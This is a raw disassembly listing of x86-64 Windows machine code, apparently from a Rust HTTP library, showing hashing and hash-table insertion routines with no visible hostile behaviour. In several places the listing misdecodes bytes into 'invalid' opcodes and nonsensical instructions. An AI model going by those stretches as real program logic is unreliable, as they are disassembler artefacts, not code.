je 0x140029f1c
mov r8, qword [r14]
mov r9, qword [r14 + 8]
lea rcx, [rsp + 0x1c0]
lea rdx, [rsp + 0x210]
call fcn.140033960
mov rax, qword [rsp + 0xd8]
cmp dword [rsp + 0xb0], 1
mov rdx, qword [rsp + 0x100]
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x1e8], rsi
mov qword [rsp + 0x208], rdi
jne 0x140029190
test rax, rax
js 0x140029354
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
test rdx, rdx
jns 0x140029375
mov rax, rdx
shr rax, 1
mov ecx, edx
and ecx, 1
or rcx, rax
xorps xmm1, xmm1
cvtsi2ss xmm1, rcx
addss xmm1, xmm1
divss xmm0, xmm1
ucomiss xmm0, xmm8
jb 0x14002938b
mov qword [rsp + 0xb0], 0
jmp 0x1400291ab
mov rcx, rdx
shr rcx, 2
mov r8, rdx
sub r8, rcx
cmp rax, r8
jne 0x1400291c3
test rax, rax
je 0x1400296bb
add rdx, rdx
lea rcx, [rsp + 0xb0]
call fcn.14002cf20
test al, al
jne 0x14002b78b
mov rcx, qword [rsp + 0xb0]
cmp rcx, 2
mov qword [rsp + 0x2c8], rcx
jne 0x1400292c0
movdqu xmm0, xmmword [rsp + 0xb8]
pshufd xmm1, xmm0, 0x44
pxor xmm1, xmm9
movdqa xmmword [rsp + 0x3a0], xmm1
pshufd xmm1, xmm0, 0xee
pxor xmm1, xmm10
movdqa xmmword [rsp + 0x3b0], xmm1
movdqa xmmword [rsp + 0x3c0], xmm0
lea rax, [rsp + 0x3b8]
movaps xmmword [rax + 0x18], xmm6
mov qword [rax + 0x28], 0
mov r14, qword [rsp + 0x230]
xor eax, eax
test r14, r14
setne al
mov qword [rsp + 0x50], rax
mov r8d, 8
lea rsi, [rsp + 0x3a0]
mov rcx, rsi
lea rdi, [rsp + 0x50]
mov rdx, rdi
call fcn.14001ce10
mov rbx, r14
test r14, r14
je 0x140029574
mov rdx, qword [rsp + 0x238]
mov r8, qword [rsp + 0x240]
mov rcx, rsi
mov qword [rsp + 0x40], rdx
jmp 0x140029592
mov r9d, 0xa
mov rcx, rdi
lea r8, str.keep_aliveHTTP_1.1_100_Continue_r_n_r_ninternal_error:_entered_unreachable_code:_poll_read_body_invalid_state:
call fcn.140032b50
mov byte [rsp + 0x34], al
cmp dword [rsp + 0xb0], 3
jne 0x1400290e8
jmp 0x140029f1c
mov r10, qword [rsp + 0x230]
xor esi, esi
test r10, r10
setne sil
movabs rax, 0xcbf29ce484222325
xor rsi, rax
movabs rax, 0x1efac7090aef4a21
imul rsi, rax
test r10, r10
je 0x14002969f
mov rax, qword [rsp + 0x238]
mov qword [rsp + 0x40], rax
mov r8, qword [rsp + 0x240]
test r8, r8
je 0x140029870
mov rcx, r8
and rcx, 7
je 0x1400297dc
mov rax, qword [rsp + 0x40]
movabs r9, 0x100000001b3
nop
movzx edx, byte [rax]
inc rax
xor rdx, rsi
imul rdx, r9
mov rsi, rdx
dec rcx
jne 0x140029330
cmp r8, 8
jae 0x1400297f4
jmp 0x140029864
mov rcx, rax
shr rcx, 1
and eax, 1
or rax, rcx
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
addss xmm0, xmm0
test rdx, rdx
js 0x14002914d
xorps xmm1, xmm1
cvtsi2ss xmm1, rdx
divss xmm0, xmm1
ucomiss xmm0, xmm8
jae 0x140029175
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
test byte [rax + 0x98], 1
je 0x14002a721
mov qword [rsp + 0xb0], 2
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm0, xmmword [rax + 0xa0]
inc qword [rax + 0xa0]
movups xmmword [rsp + 0xb8], xmm0
test rdx, rdx
je 0x14002944f
mov rcx, qword [rsp + 0xf8]
lea r8, [rdx - 1]
movabs rax, 0x3fffffffffffffff
and r8, rax
mov rax, rcx
cmp r8, 6
jbe 0x140029439
inc r8
mov r9, r8
and r9, 0xfffffffffffffff8
lea rax, [rcx + r9*4]
xor r10d, r10d
nop dword [rax + rax]
movups xmmword [rcx + r10*4], xmm7
movups xmmword [rcx + r10*4 + 0x10], xmm7
add r10, 8
cmp r9, r10
jne 0x140029420
cmp r8, r9
je 0x14002944f
lea rcx, [rcx + rdx*4]
nop dword [rax]
mov dword [rax], 0xffff
add rax, 4
cmp rax, rcx
jne 0x140029440
mov rax, qword [rsp + 0xd8]
test rax, rax
je 0x1400291c3
mov rdi, qword [rsp + 0xd0]
lea rsi, [rax + rax*2]
shl rsi, 5
add rsi, rdi
movzx eax, word [rsp + 0x108]
movzx ebx, ax
mov r14, qword [rsp + 0xf8]
mov r15, qword [rsp + 0x100]
xor r12d, r12d
jmp 0x1400294b4
mov word [r14 + rcx*4], r13w
mov word [r14 + rcx*4 + 2], ax
cmp rdi, rsi
je 0x1400291c3
mov r13, r12
mov rbp, rdi
add rdi, 0x60
inc r12
lea rdx, [rbp + 0x38]
lea rcx, [rsp + 0xb0]
call fcn.14001cb40
mov r8d, eax
and r8d, ebx
mov word [rbp + 0x58], ax
xor edx, edx
nop
mov rcx, r8
mov r8d, 0
cmp rcx, r15
jae 0x1400294e0
cmp word [r14 + rcx*4], 0xffff
je 0x1400294a0
movzx r8d, word [r14 + rcx*4 + 2]
and r8d, ebx
mov r9d, ecx
sub r9d, r8d
mov r8d, ebx
and r8d, r9d
cmp r8, rdx
jb 0x140029540
inc rdx
inc rcx
mov r8, rcx
jmp 0x1400294e0
movzx r8d, word [r14 + rdx*4 + 2]
mov word [r14 + rdx*4], r13w
mov word [r14 + rdx*4 + 2], ax
inc rdx
mov eax, r8d
mov r13d, ecx
mov rcx, rdx
nop dword [rax + rax]
mov rdx, rcx
mov ecx, 0
cmp rdx, r15
jae 0x140029540
movzx ecx, word [r14 + rdx*4]
cmp cx, 0xffff
jne 0x14002951b
mov word [r14 + rdx*4], r13w
mov rcx, rdx
mov word [r14 + rcx*4 + 2], ax
cmp rdi, rsi
jne 0x1400294b4
jmp 0x1400291c3
movzx eax, byte [rsp + 0x238]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rax
mov r8d, 8
mov rcx, rsi
mov rdx, rdi
call fcn.14001ce10
mov rax, qword [rsp + 0x3b0]
mov r9, qword [rsp + 0x3d0]
shl r9, 0x38
or r9, qword [rsp + 0x3d8]
mov rcx, qword [rsp + 0x3b8]
xor rcx, r9
mov r8, qword [rsp + 0x3a0]
add r8, rax
mov rdx, qword [rsp + 0x3a8]
add rdx, rcx
rol rax, 0xd
xor rax, r8
rol rcx, 0x10
rol r8, 0x20
xor rcx, rdx
add rdx, rax
rol rax, 0x11
add r8, rcx
xor rax, rdx
rol rcx, 0x15
xor rcx, r8
rol rdx, 0x20
xor r8, r9
xor rdx, 0xff
add r8, rax
rol rax, 0xd
add rdx, rcx
xor rax, r8
rol rcx, 0x10
xor rcx, rdx
rol r8, 0x20
add rdx, rax
add r8, rcx
rol rax, 0x11
xor rax, rdx
rol rcx, 0x15
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
add rdx, rcx
xor rax, r8
rol rcx, 0x10
xor rcx, rdx
rol r8, 0x20
add rdx, rax
add r8, rcx
rol rax, 0x11
xor rax, rdx
rol rcx, 0x15
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
add rdx, rcx
xor rax, r8
shl rcx, 0x10
xor rcx, rdx
add rdx, rax
shr rax, 0x2f
shr rcx, 0x2b
xor rcx, rax
mov rsi, rdx
shr rsi, 0x20
xor rsi, rdx
xor rsi, rcx
mov r10, rbx
jmp 0x140029870
movzx ecx, byte [rsp + 0x238]
mov qword [rsp + 0x40], rcx
xor rsi, rcx
imul rsi, rax
xor r10d, r10d
jmp 0x140029870
mov rdi, rdx
mov word [rsp + 0x108], 7
movzx eax, byte [0x14019f308]
mov edx, 0x20
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14002b964
mov rsi, rax
movups xmmword [rax], xmm7
movups xmmword [rax + 0x10], xmm7
test rdi, rdi
je 0x14002970a
mov r8, qword [rsp + 0xf8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0xf8], rsi
mov qword [rsp + 0x100], 8
movzx eax, byte [0x14019f308]
mov edx, 0x240
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14002b973
mov rsi, rax
mov rbx, qword [rsp + 0xd8]
test rbx, rbx
je 0x140029795
mov rdi, qword [rsp + 0xd0]
add rdi, 0x30
jmp 0x14002977b
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + 0x10]
add rdi, 0x60
dec rbx
je 0x140029795
mov rax, qword [rdi + 8]
test rax, rax
je 0x140029760
lea rcx, [rdi + 0x20]
mov rdx, qword [rdi + 0x10]
mov r8, qword [rdi + 0x18]
call qword [rax + 0x10]
jmp 0x140029760
cmp qword [rsp + 0xc8], 0
je 0x1400297b7
mov r8, qword [rsp + 0xd0]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0xc8], 6
mov qword [rsp + 0xd0], rsi
mov qword [rsp + 0xd8], 0
jmp 0x1400291c3
mov rdx, rsi
mov rax, qword [rsp + 0x40]
movabs r9, 0x100000001b3
cmp r8, 8
jb 0x140029864
mov rcx, qword [rsp + 0x40]
add rcx, r8
nop dword [rax]
movzx r8d, byte [rax]
xor r8, rdx
imul r8, r9
movzx edx, byte [rax + 1]
xor rdx, r8
imul rdx, r9
movzx r8d, byte [rax + 2]
xor r8, rdx
imul r8, r9
movzx edx, byte [rax + 3]
xor rdx, r8
imul rdx, r9
movzx r8d, byte [rax + 4]
xor r8, rdx
imul r8, r9
movzx edx, byte [rax + 5]
xor rdx, r8
imul rdx, r9
movzx r8d, byte [rax + 6]
xor r8, rdx
imul r8, r9
movzx edx, byte [rax + 7]
add rax, 8
xor rdx, r8
imul rdx, r9
cmp rax, rcx
jne 0x140029800
mov rsi, rdx
nop word [rax + rax]
and esi, 0x7fff
movzx r14d, word [rsp + 0x108]
mov eax, esi
and eax, r14d
mov r13, qword [rsp + 0x100]
mov rbx, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xd0]
mov qword [rsp + 0x138], rcx
mov r11, qword [rsp + 0xd8]
mov r9, qword [rsp + 0x238]
mov rcx, qword [rsp + 0x240]
mov qword [rsp + 0xa8], rcx
xor r12d, r12d
mov qword [rsp + 0x278], r10
mov qword [rsp + 0x270], r11
mov qword [rsp + 0x268], r9
jmp 0x140029900
mov rcx, qword [rsp + 0x40]
cmp byte [rax + 8], cl
je 0x1400299da
inc r12
inc r15
mov rax, r15
nop dword [rax + rax]
mov r15, rax
mov eax, 0
cmp r15, r13
jae 0x140029900
movzx ebp, word [rbx + r15*4]
cmp rbp, 0xffff
je 0x140029ad0
movzx eax, word [rbx + r15*4 + 2]
mov ecx, r14d
and ecx, eax
mov edx, r15d
sub edx, ecx
and edx, r14d
cmp rdx, r12
jb 0x140029b40
cmp ax, si
jne 0x1400298ef
cmp r11, rbp
jbe 0x14002b5c9
test r10, r10
sete dl
lea rdi, [rbp*2]
add rdi, rbp
mov eax, edi
shl eax, 5
mov rcx, qword [rsp + 0x138]
mov rcx, qword [rcx + rax + 0x38]
test rcx, rcx
setne r8b
cmp r8b, dl
je 0x1400298ef
mov rdx, qword [rsp + 0x138]
add rax, rdx
add rax, 0x38
test rcx, rcx
je 0x1400298e1
mov rcx, qword [rsp + 0xa8]
cmp qword [rax + 0x10], rcx
jne 0x1400298ef
mov rcx, qword [rax + 8]
mov rdx, r9
mov r8, qword [rsp + 0xa8]
call fcn.1401220a0
mov r9, qword [rsp + 0x268]
mov r11, qword [rsp + 0x270]
mov r10, qword [rsp + 0x278]
test eax, eax
jne 0x1400298ef
shl edi, 5
mov rax, qword [rsp + 0x138]
lea rbx, [rax + rdi]
movups xmm0, xmmword [rsp + 0x1c0]
movups xmm1, xmmword [rsp + 0x1d0]
movaps xmmword [rsp + 0x3b0], xmm1
movaps xmmword [rsp + 0x3a0], xmm0
test byte [rax + rdi], 1
je 0x14002a691
mov rsi, qword [rbx + 0x10]
mov rdi, qword [rsp + 0xf0]
cmp rdi, qword [rsp + 0xe0]
lea r13, [rsp + 0x160]
mov r14, qword [rsp + 0x48]
jne 0x140029a43
lea rcx, [rsp + 0xe0]
call fcn.1400312f0
mov rax, qword [rsp + 0xe8]
mov rcx, rdi
shl rcx, 6
mov qword [rax + rcx], 1
mov qword [rax + rcx + 8], rsi
mov qword [rax + rcx + 0x10], 0
mov qword [rax + rcx + 0x18], rbp
movaps xmm0, xmmword [rsp + 0x3a0]
movaps xmm1, xmmword [rsp + 0x3b0]
movups xmmword [rax + rcx + 0x20], xmm0
movups xmmword [rax + rcx + 0x30], xmm1
lea rdx, [rdi + 1]
mov qword [rsp + 0xf0], rdx
cmp rsi, rdx
jae 0x14002b8ab
mov rax, qword [rsp + 0xe8]
shl rsi, 6
mov qword [rax + rsi + 0x10], 1
mov qword [rax + rsi + 0x18], rdi
mov qword [rbx], 1
mov qword [rbx + 0x10], rdi
jmp 0x140029d22
test r10, r10
je 0x140029bb4
lea rcx, [rsp + 0x3a0]
lea rdx, [rsp + 0x248]
mov r8, r9
mov r9, qword [rsp + 0xa8]
mov rdi, r11
call qword [r10]
mov r11, rdi
mov r14, qword [rsp + 0x3a0]
movzx r9d, byte [rsp + 0x3a8]
lea rax, [rsp + 0x3b8]
movups xmm0, xmmword [rax - 0xf]
movaps xmmword [rsp + 0x50], xmm0
mov rax, qword [rax]
mov qword [rsp + 0x5f], rax
mov rbx, qword [rsp + 0xd8]
jmp 0x140029bba
cmp r12, 0x200
setae bpl
cmp dword [rsp + 0x2c8], 2
setne bl
test r10, r10
je 0x140029d37
lea rcx, [rsp + 0x3a0]
lea rdx, [rsp + 0x248]
mov r8, r9
mov r9, qword [rsp + 0xa8]
call qword [r10]
mov r14, qword [rsp + 0x3a0]
movzx r9d, byte [rsp + 0x3a8]
lea rax, [rsp + 0x3b8]
movups xmm0, xmmword [rax - 0xf]
movaps xmmword [rsp + 0x50], xmm0
mov rax, qword [rax]
mov qword [rsp + 0x5f], rax
mov r11, qword [rsp + 0xd8]
jmp 0x140029d3a
mov rbx, r11
xor r14d, r14d
lea r13, [rsp + 0x160]
mov qword [rsp + 0x80], r14
mov byte [rsp + 0x88], r9b
mov rax, qword [rsp + 0x5f]
lea rcx, [rsp + 0x89]
mov qword [rcx + 0xf], rax
movaps xmm0, xmmword [rsp + 0x50]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rsp + 0x1c0]
movups xmm1, xmmword [rsp + 0x1d0]
movaps xmmword [rsp + 0x120], xmm1
movaps xmmword [rsp + 0x110], xmm0
cmp rbx, 0x7fff
invalid
jg 0x140029c11
add byte [rdi], cl
invalid
invalid
sbb eax, dword [rax]
invalid
invalid
sbb eax, dword [rax]
add byte [rax - 0x75], cl
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rdi], cl
mov dh, 0x8c
and al, 0x88
add byte [rax], al
add byte [rbx + 0x892494], cl
add byte [rax], al
mov rax, qword [rsp + 0x80]
movzx ecx, byte [rsp + 0x88]
mov edx, dword [rsp + 0x89]
movzx r8d, word [rsp + 0x8d]
movzx r9d, byte [rsp + 0x8f]
movups xmm0, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x50], rax
mov byte [rsp + 0x58], cl
mov dword [rsp + 0x59], edx
mov word [rsp + 0x5d], r8w
mov byte [rsp + 0x5f], r9b
movups xmm0, xmmword [rsp + 0x1c0]
movups xmm1, xmmword [rsp + 0x1d0]
movaps xmmword [rsp + 0x3a0], xmm0
movaps xmmword [rsp + 0x3b0], xmm1
cmp rbx, qword [rsp + 0xc8]
jne 0x140029ca3
lea rcx, [rsp + 0xc8]
mov rdi, r11
call fcn.140031230
mov r11, rdi
mov rax, qword [rsp + 0xd0]
lea rcx, [rbx + rbx*2]
shl rcx, 5
mov qword [rax + rcx], 0
movaps xmm0, xmmword [rsp + 0x3a0]
movaps xmm1, xmmword [rsp + 0x3b0]
movups xmmword [rax + rcx + 0x18], xmm0
movups xmmword [rax + rcx + 0x28], xmm1
movaps xmm0, xmmword [rsp + 0x50]
movaps xmm1, xmmword [rsp + 0x60]
movups xmmword [rax + rcx + 0x38], xmm0
movups xmmword [rax + rcx + 0x48], xmm1
mov word [rax + rcx + 0x58], si
inc rbx
mov qword [rsp + 0xd8], rbx
mov rdx, qword [rsp + 0x100]
cmp r15, rdx
mov r14, qword [rsp + 0x48]
jae 0x14002b77c
mov rax, qword [rsp + 0xf8]
mov word [rax + r15*4], r11w
mov word [rax + r15*4 + 2], si
mov rsi, qword [rsp + 0x1e8]
mov rdi, qword [rsp + 0x208]
jmp 0x140029f1c
xor r14d, r14d
lea r13, [rsp + 0x160]
mov qword [rsp + 0x80], r14
mov byte [rsp + 0x88], r9b
mov rax, qword [rsp + 0x5f]
lea rcx, [rsp + 0x89]
mov qword [rcx + 0xf], rax
movaps xmm0, xmmword [rsp + 0x50]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rsp + 0x1c0]
movups xmm1, xmmword [rsp + 0x1d0]
movaps xmmword [rsp + 0x120], xmm1
movaps xmmword [rsp + 0x110], xmm0
cmp r11, 0x7fff
ja 0x14002b72d
mov rax, qword [rsp + 0x80]
movzx ecx, byte [rsp + 0x88]
mov edx, dword [rsp + 0x89]
movzx r8d, word [rsp + 0x8d]
movzx r9d, byte [rsp + 0x8f]
movups xmm0, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x50], rax
mov byte [rsp + 0x58], cl
mov dword [rsp + 0x59], edx
mov word [rsp + 0x5d], r8w
mov byte [rsp + 0x5f], r9b
movups xmm0, xmmword [rsp + 0x1c0]
movups xmm1, xmmword [rsp + 0x1d0]
movaps xmmword [rsp + 0x3a0], xmm0
movaps xmmword [rsp + 0x3b0], xmm1
cmp r11, qword [rsp + 0xc8]
jne 0x140029e23
lea rcx, [rsp + 0xc8]
mov rdi, r11
call fcn.140031230
mov r11, rdi
and bpl, bl
mov rax, qword [rsp + 0xd0]
lea rcx, [r11 + r11*2]
shl rcx, 5
mov qword [rax + rcx], 0
movaps xmm0, xmmword [rsp + 0x3a0]
movaps xmm1, xmmword [rsp + 0x3b0]
movups xmmword [rax + rcx + 0x18], xmm0
movups xmmword [rax + rcx + 0x28], xmm1
movaps xmm0, xmmword [rsp + 0x50]
movaps xmm1, xmmword [rsp + 0x60]
movups xmmword [rax + rcx + 0x38], xmm0
movups xmmword [rax + rcx + 0x48], xmm1
mov word [rax + rcx + 0x58], si
lea rax, [r11 + 1]
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0xf8]
mov rdx, qword [rsp + 0x100]
xor ecx, ecx
mov r14, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x208]
nop dword [rax]
mov r8, r15
mov r15d, 0
cmp r8, rdx
jae 0x140029ea0
movzx r9d, word [rax + r8*4]
cmp r9w, 0xffff
je 0x140029ee0
inc rcx
movzx r10d, word [rax + r8*4 + 2]
mov word [rax + r8*4], r11w
mov word [rax + r8*4 + 2], si
inc r8
mov esi, r10d
mov r11d, r9d
mov r15, r8
jmp 0x140029ea0
mov word [rax + r8*4], r11w
mov word [rax + r8*4 + 2], si
cmp rcx, 0x80
setb al
not bpl
test bpl, al
jne 0x140029f14
cmp qword [rsp + 0xb0], 0
jne 0x140029f14
mov qword [rsp + 0xb0], 1
mov rsi, qword [rsp + 0x1e8]
movaps xmm0, xmmword [rsp + 0x230]
movaps xmm1, xmmword [rsp + 0x240]
movaps xmmword [rsp + 0x150], xmm1
movaps xmmword [rsp + 0x140], xmm0
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x118], rdi
movdqu xmmword [rsp + 0x120], xmm11
mov byte [rsp + 0x130], 0
mov eax, dword [rsp + 0x2f8]
mov ecx, dword [rsp + 0x2fb]
lea rdx, [rsp + 0x118]
mov dword [rdx + 0x1c], ecx
mov dword [rdx + 0x19], eax
mov rcx, r13
call fcn.14002c620
test al, al
jne 0x14002b699
add r14, 0x20
mov qword [rsp + 0x48], r14
mov rcx, r13
lea rdx, [rsp + 0x140]
call fcn.14001cb40
mov r10d, eax
ret 0xf44
mov bh, 0xc8
movzx r14d, word [rsp + 0x1b8]
mov r15d, r14d
and r15d, r9d
mov rdi, qword [rsp + 0x1b0]
mov r13, qword [rsp + 0x1a8]
mov r8, qword [rsp + 0x180]
mov rsi, qword [rsp + 0x188]
mov r11, qword [rsp + 0x140]
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x1e8], rax
movzx eax, byte [rsp + 0x148]
mov byte [rsp + 0x40], al
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0x138], rax
xor r12d, r12d
mov dword [rsp + 0xa8], r9d
mov qword [rsp + 0x278], r8
mov word [rsp + 0x270], r10w
mov qword [rsp + 0x268], r11
jmp 0x14002a056
ret 0xf44
movzx ecx, byte [rsp + 0x40]
cmp byte [rax + 8], cl
je 0x14002a129
nop word cs:[rax + rax]
inc r12
inc r15
mov rax, r15
nop dword [rax]
mov r15, rax
mov eax, 0
cmp r15, rdi
jae 0x14002a060
movzx ebx, word [r13 + r15*4]
cmp rbx, 0xffff
je 0x14002a240
movzx eax, word [r13 + r15*4 + 2]
mov ecx, r14d
and ecx, eax
mov edx, r15d
sub edx, ecx
and edx, r14d
cmp rdx, r12
jb 0x14002a3b0
cmp ax, r10w
jne 0x14002a050
cmp rsi, rbx
jbe 0x14002b5b7
test r11, r11
sete al
imul rbp, rbx, 0x68
mov rcx, qword [r8 + rbp + 0x40]
test rcx, rcx
setne dl
cmp dl, al
je 0x14002a050
lea rax, [r8 + rbp]
add rax, 0x40
test rcx, rcx
je 0x14002a033
mov rcx, qword [rsp + 0x138]
cmp qword [rax + 0x10], rcx
jne 0x14002a050
mov rcx, qword [rax + 8]
mov rdx, qword [rsp + 0x1e8]
mov r8, qword [rsp + 0x138]
call fcn.1401220a0
mov r11, qword [rsp + 0x268]
movzx r10d, word [rsp + 0x270]
mov r8, qword [rsp + 0x278]
mov r9d, dword [rsp + 0xa8]
test eax, eax
jne 0x14002a050
lea rdi, [r8 + rbp]
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x3c0], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmm1, xmmword [rsp + 0x120]
movaps xmmword [rsp + 0x3b0], xmm1
movaps xmmword [rsp + 0x3a0], xmm0
test byte [r8 + rbp], 1
je 0x14002a5bc
mov rsi, qword [rdi + 0x10]
mov r14, qword [rsp + 0x1a0]
cmp r14, qword [rsp + 0x190]
lea r12, [rsp + 0x3a0]
lea r13, [rsp + 0x160]
lea r15, [0x14015c7e0]
jne 0x14002a1a2
lea rcx, [rsp + 0x190]
call fcn.14001c810
mov rax, qword [rsp + 0x198]
lea rcx, [r14 + r14*8]
mov qword [rax + rcx*8], 1
mov qword [rax + rcx*8 + 8], rsi
mov qword [rax + rcx*8 + 0x10], 0
mov qword [rax + rcx*8 + 0x18], rbx
movaps xmm0, xmmword [rsp + 0x3a0]
movaps xmm1, xmmword [rsp + 0x3b0]
movups xmmword [rax + rcx*8 + 0x20], xmm0
movups xmmword [rax + rcx*8 + 0x30], xmm1
mov rdx, qword [rsp + 0x3c0]
mov qword [rax + rcx*8 + 0x40], rdx
lea rdx, [r14 + 1]
mov qword [rsp + 0x1a0], rdx
cmp rsi, rdx
jae 0x14002b8ab
lea rcx, [rsi + rsi*8]
mov qword [rax + rcx*8 + 0x10], 1
mov qword [rax + rcx*8 + 0x18], r14
mov qword [rdi], 1
mov qword [rdi + 0x10], r14
mov r14, qword [rsp + 0x48]
mov rax, qword [rsp + 0x140]
test rax, rax
jne 0x14002a671
jmp 0x14002a5a9
movaps xmm0, xmmword [rsp + 0x140]
movaps xmm1, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0x1d0], xmm1
movaps xmmword [rsp + 0x1c0], xmm0
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x70], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmm1, xmmword [rsp + 0x120]
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
cmp rsi, 0x7fff
ja 0x14002b6e6
movaps xmm0, xmmword [rsp + 0x140]
movaps xmm1, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
movups xmm0, xmmword [rsp + 0x110]
movups xmm1, xmmword [rsp + 0x120]
movaps xmmword [rsp + 0x3a0], xmm0
movaps xmmword [rsp + 0x3b0], xmm1
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x3c0], rax
cmp rsi, qword [rsp + 0x178]
lea r12, [rsp + 0x3a0]
lea r13, [rsp + 0x160]
mov r14, qword [rsp + 0x48]
jne 0x14002a328
lea rcx, [rsp + 0x178]
call fcn.14001c990
mov r9d, dword [rsp + 0xa8]
mov r8, qword [rsp + 0x180]
mov rdi, qword [rsp + 0x1b0]
imul rax, rsi, 0x68
mov qword [r8 + rax], 0
movaps xmm0, xmmword [rsp + 0x3a0]
movaps xmm1, xmmword [rsp + 0x3b0]
movups xmmword [r8 + rax + 0x18], xmm0
movups xmmword [r8 + rax + 0x28], xmm1
mov rcx, qword [rsp + 0x3c0]
mov qword [r8 + rax + 0x38], rcx
movaps xmm0, xmmword [rsp + 0x80]
movaps xmm1, xmmword [rsp + 0x90]
movups xmmword [r8 + rax + 0x40], xmm0
movups xmmword [r8 + rax + 0x50], xmm1
mov word [r8 + rax + 0x60], r9w
lea rax, [rsi + 1]
mov qword [rsp + 0x188], rax
cmp r15, rdi
jae 0x14002b71b
mov rax, qword [rsp + 0x1a8]
mov word [rax + r15*4], si
mov word [rax + r15*4 + 2], r9w
jmp 0x14002a5a2
cmp r12, 0x200
setae bl
cmp qword [rsp + 0x160], 2
setne bpl
movaps xmm0, xmmword [rsp + 0x140]
movaps xmm1, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0x1d0], xmm1
movaps xmmword [rsp + 0x1c0], xmm0
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x70], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmm1, xmmword [rsp + 0x120]
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
cmp rsi, 0x7fff
mov r14, qword [rsp + 0x48]
ja 0x14002b6e6
movaps xmm0, xmmword [rsp + 0x140]
movaps xmm1, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
movups xmm0, xmmword [rsp + 0x110]
movups xmm1, xmmword [rsp + 0x120]
movaps xmmword [rsp + 0x3a0], xmm0
movaps xmmword [rsp + 0x3b0], xmm1
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x3c0], rax
cmp rsi, qword [rsp + 0x178]
lea r12, [rsp + 0x3a0]
jne 0x14002a4af
lea rcx, [rsp + 0x178]
call fcn.14001c990
mov r9d, dword [rsp + 0xa8]
mov r8, qword [rsp + 0x180]
mov r13, qword [rsp + 0x1a8]
mov rdi, qword [rsp + 0x1b0]
and bl, bpl
imul rax, rsi, 0x68
mov qword [r8 + rax], 0
movaps xmm0, xmmword [rsp + 0x3a0]
movaps xmm1, xmmword [rsp + 0x3b0]
movups xmmword [r8 + rax + 0x18], xmm0
movups xmmword [r8 + rax + 0x28], xmm1
mov rcx, qword [rsp + 0x3c0]
mov qword [r8 + rax + 0x38], rcx
movaps xmm0, xmmword [rsp + 0x80]
movaps xmm1, xmmword [rsp + 0x90]
movups xmmword [r8 + rax + 0x40], xmm0
movups xmmword [r8 + rax + 0x50], xmm1
mov word [r8 + rax + 0x60], r9w
lea rax, [rsi + 1]
mov qword [rsp + 0x188], rax
xor eax, eax
nop word [rax + rax]
mov rcx, r15
mov r15d, 0
cmp rcx, rdi
jae 0x14002a520
movzx edx, word [r13 + rcx*4]
cmp dx, 0xffff
je 0x14002a560
inc rax
movzx r8d, word [r13 + rcx*4 + 2]
mov word [r13 + rcx*4], si
mov word [r13 + rcx*4 + 2], r9w
inc rcx
mov r9d, r8d
mov esi, edx
mov r15, rcx
jmp 0x14002a520
mov word [r13 + rcx*4], si
mov word [r13 + rcx*4 + 2], r9w
mov rcx, qword [rsp + 0x160]
test rcx, rcx
mov rdx, rcx
mov r8d, 1
cmove rdx, r8
cmp rax, 0x7f
cmova rcx, rdx
test bl, bl
cmovne rcx, rdx
mov qword [rsp + 0x160], rcx
lea r13, [rsp + 0x160]
lea r15, [0x14015c7e0]
cmp r14, qword [rsp + 0x2d0]
jne 0x140028d30
jmp 0x14002a739
mov rsi, qword [rsp + 0x1a0]
cmp rsi, qword [rsp + 0x190]
lea r12, [rsp + 0x3a0]
lea r13, [rsp + 0x160]
lea r15, [0x14015c7e0]
mov r14, qword [rsp + 0x48]
jne 0x14002a5f7
lea rcx, [rsp + 0x190]
call fcn.14001c810
mov rax, qword [rsp + 0x198]
lea rcx, [rsi + rsi*8]
mov qword [rax + rcx*8], 0
mov qword [rax + rcx*8 + 8], rbx
mov qword [rax + rcx*8 + 0x10], 0
mov qword [rax + rcx*8 + 0x18], rbx
movaps xmm0, xmmword [rsp + 0x3a0]
movaps xmm1, xmmword [rsp + 0x3b0]
movups xmmword [rax + rcx*8 + 0x20], xmm0
movups xmmword [rax + rcx*8 + 0x30], xmm1
mov rdx, qword [rsp + 0x3c0]
